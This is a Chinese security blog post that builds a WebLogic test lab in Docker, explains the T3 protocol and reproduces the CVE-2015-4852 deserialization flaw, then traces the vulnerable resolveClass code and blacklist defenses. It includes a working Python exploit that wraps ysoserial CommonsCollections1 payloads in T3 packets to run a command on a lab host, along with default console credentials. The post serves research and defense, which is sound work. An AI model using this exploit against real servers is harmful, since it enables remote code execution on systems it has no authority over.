weblogic

WebLogic 是美国Oracle公司出品的一个 application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic 是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Webloigc的安装

weblogic的安装其实是一个麻烦事,但是奇安信A-Team提供的脚本确实是方便。
weblogi安装脚本:https://github.com/QAX-A-Team/WeblogicEnvironment
但是问题来了,我用脚本安装的时候并不是一帆风顺的。我在issues中碰到了同样的问题,回复给出了解释:centos 8 于2021年12月31日停止了源的服务,需要修改yum的源等等操作。
刚开始以为所有的源都停止了服务,后来还是公司技术支持的dockers/k8s大佬帮我解决的,解决方法是修改了创建docker镜像的Dockerfile文件,找到一个有8.4.2105的源地址,在pull的时候,去我们修改的源中去pull。后续我会把项目重新打包去回掉那个issue。
根据文档指示:
下载相应的JDK版本和Weblogic安装包,将JDK安装包放到jdks/目录下,将Weblogic安装包放到weblogics/目录下。

JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html 
Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html

以Weblogic12.1.3配JDK 7u21为例,构建镜像命令如下:

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar  -t weblogic12013jdk7u21 .

镜像构建完成后,执行以下命令运行:

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic12013jdk7u21 weblogic12013jdk7u21

运行后可访问http://localhost:7001/console/login/LoginForm.jsp登录到Weblogic Server管理控制台,默认用户名为weblogic,默认密码为qaxateam01
远程调试
下载10的版本要拉取如下:

mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

由于我这里是12的版本,所以要拉取如下版本的代码和依赖:

/u01/app/oracle/middleware/wlserver/modules
/u01/app/oracle/middleware/wlserver
/u01/app/oracle/middleware/coherence/lib 

直接利用 IDEA 打开了 wlserver 文件夹,将server/lib导入项目
在这里插入图片描述
将coherence/lib 导入项目
在这里插入图片描述
配置页面添加 Remote 然后端口修改为 8453
在这里插入图片描述
debug运行,当看到 console 中出现如下那么就说明成功了
在这里插入图片描述

T3协议

什么是T3协议?

解释摘抄自此文
Weblogic的RMI规范的实现使用一个专有协议T3。 您可以将T3(和安全T3S)视为坐在http之上的一个图层,以公开/允许客户端的JNDI调用。
通常,T3协议用于与WebLogic控制台进行交互。
T3是用于在WebLogic服务器和其他types的Java程序之间传输信息的协议。 WebLogic会跟踪连接到应用程序的每个Java虚拟机。 为了将stream量传送到Java虚拟机,WebLogic创build一个T3连接。 这种types的连接通过消除用于在networking之间进行通信的多个协议来最大化效率,从而使用较less的操作系统资源。 用于T3连接的协议还可以提高效率并最小化数据包大小,从而提高传输方法的速度。
总结一下:简而言之就是
WebLogic服务器中的RMI通信使用T3协议在WebLogic Server和其他Java程序(包括客户端和其他WebLogic服务器实例)之间传输数据。

t3协议能干嘛

例如,如果Java客户端访问WebLogic Server上的企业Bean和JDBC连接池,则WebLogic Server JVM和客户端JVM之间将build立单个networking连接。 可以将EJB和JDBC服务写成就好像它们单独使用专用networking连接一样,因为T3协议隐式地在单个连接上多路复用数据包。

t3的端口

t3协议与weblogic的web服务使用同一个端口(默认7001),当你以http协议请求weblogic会使用http协议处理,你以t3协议请求就以t3协议处理!

T3协议概述

RMI通信传输反序列化数据,接收数据后进行反序列化,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了一些特性。

T3协议的特点

1:服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
2:通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

t3协议结构

T3协议里包含请求包头和请求的主体这两部分内容。
请求包头如下:

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

发送一个请求包的头,看看会返回什么

import socket

def T3Test(ip,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
    sock.sendall(handshake.encode())
    while True:
        data = sock.recv(1024)
        print(data.decode())

if __name__ == "__main__":
    ip = "192.168.210.31"
    port = 7001

    T3Test(ip,port)

返回内容中包含了版本信息,我的版本信息为12.1.3.0.0
在这里插入图片描述
用wireshark抓包,可以看到HELO标识后面会返回版本号信息。
在这里插入图片描述
请求主体
T3协议中传输的都是序列化数据,分为七个部分,第一部分就是协议头,也就是

t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n

借用两张图来描述一下T3协议包的主要内容,如下:
在这里插入图片描述
在这里插入图片描述
第二到第七部分内容,开头都是ac ed 00 05,说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,有两种替换方式:

1:将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
2:将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

复现
这里可以用jdk7u21和cc1两条链,用创建文件的方式来检验反序列化是否成功

from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
    YSO_PATH = "ysoserial.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()

def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: "+"".join(match))
    else:
        print("Not Weblogic")
        #return
    #1.占位保证总长度计算正确
    header = binascii.a2b_hex(b"00000000")
    #2.固定的T3协议头
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    #3.weblogic反序列化数据的标志
    desflag = binascii.a2b_hex(b"fe010000")
    #4.跟ysoserial生成的payload拼接起来
    payload = header + t3header  +desflag+  payload
    #5.计算长度替换掉用来占位的字符,也就是前四位
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)

if __name__ == "__main__":
    ip = "192.168.210.31"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "touch /tmp/success"
    payload = generatePayload(gadget,cmd)
    T3Exploit(ip,port,payload)

查看一下dockers里的/tmp目录,发现成功创建了success文件
在这里插入图片描述
这个poc本质就是把ysoserial生成的payload变成t3协议里的数据格式。

数据包长度包括了自身长度和其他三部分数据包长度,所以需要先占位,计算出长度后再替换进去
T3协议头是固定的,直接硬编码进去就行
反序列化标志+数据=weblogic反序列化标志fe010000+ysoserial生成的序列化数据

payload数据包分析
wireshark过滤一下我们的请求包tcp.port == 7001
找到刚才发的包我们跟踪tcp流看一下:
在这里插入图片描述
第一个数据包是我们发送的请求头,第二个数据包是weblogic回复HELO和版本,第三个才是payload数据包。
来详细看一下第三个数据包,主要有四个组成部分,如下
在这里插入图片描述

四部分组成如下:
1.数据包长度
2.T3协议头
3.反序列化标志:T3协议中每个反序列化数据包前面都带有fe 01 00 00,再加上反序列化标志ac ed 00 05就变成了fe 01 00 00 ac ed 00 05
4.数据

CVE-2015-4852

漏洞点存在于weblogic.rjvm.InboundMsgAbbrev#readObject方法中
在这里插入图片描述
这里是实例了本类中另一个类的readObject方法,跟进看一下:
在这里插入图片描述

这里ServerChannelInputStream继承了ObjectInputStream类,重写了resolveClass方法,我们可以看到87行,调用了父类的resolveClass方法,实际上就是直接引用了父类的方法,并未重写。等于没有做任何防御,导致漏洞的出现。
既然存在反序列化漏洞,我们尝试找到对我们有利的jar包,也就是利用链,我这里的版本是12.1.3.0.0,查找一下module模块下jar包。
在这里插入图片描述
在weblogic10这个版本中匹配commons字符,有commons.collections_3.2.0.jar,这个包,我这里的版本是weblogic12.1.3.0.0这个版本,并没有匹配出来cc3.2这个包,但是上面的payload中用ysoserial生成的cc1链条可以成功执行,我猜测可能是cc3.2封装到了其他jar包中,可能吧,只是个猜测,欢迎大佬指点。

resolveClass

我们来了解一下resolveClass这个方法。这个方法是干什么的呢,他是反序列化中解析反序列化数据中获取类名的类。
Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。

如果类描述符是动态代理类,则调用resolveProxyClass方法来获取本地类。如果不是动态代理类则调用resolveClass方法来获取本地类。如果无法解析该类,则抛出ClassNotFoundException异常。

上面说的类描述符,反序列化是否为代理类,其实也好理解,我们跟进到ObjectInputStream类中,找到resolveClass这个方法,在idea中Ctrl+Alt+h,查看谁调用了这个类。
在这里插入图片描述
在这里插入图片描述
一步步跟进,流程如下:
在这里插入图片描述

为什么说resolveClass可以防御Java反序列化?
resolveClass方法的作用是从类序列化描述符获取类的Class对象,如果在resolveClass中增加一个检查,检查一下该类的序列化描述符中记录的类名是否在黑名单上,如果在黑名单上,直接抛出错误,不允许获取恶意的类的Class对象。这样以来,恶意类连生成Class对象的机会都没有。

结合shiro分析
resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。

前面分析readObject方法的时候,我们得知了shiro就是重写了resolveClass方法导致很多利用链无法使用,但是shiro在编写的时候,并不是为了防御反序列化漏洞才去重写的resolveClass,但是就是这么一个无意间的举动,导致了防御住了大部分攻击。

而在后面的weblogic补丁当中,也会基于这个resolveClass去做反序列化漏洞的防御。
通过此方法,可灵活的设置允许反序列化类的白名单,也可设置不允许反序列化类的黑名单。但反序列化漏洞利用方法一直在不断的被发现,黑名单需要一直更新维护,且未公开的利用方法无法覆盖。

https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704
https://xz.aliyun.com/t/10365
https://www.anquanke.com/post/id/226070
http://wjlshare.com/archives/1573
https://blog.51cto.com/u_15127536/4577028
posted on 2022-09-13 18:13  noone52  阅读(377)  评论(0编辑  收藏  举报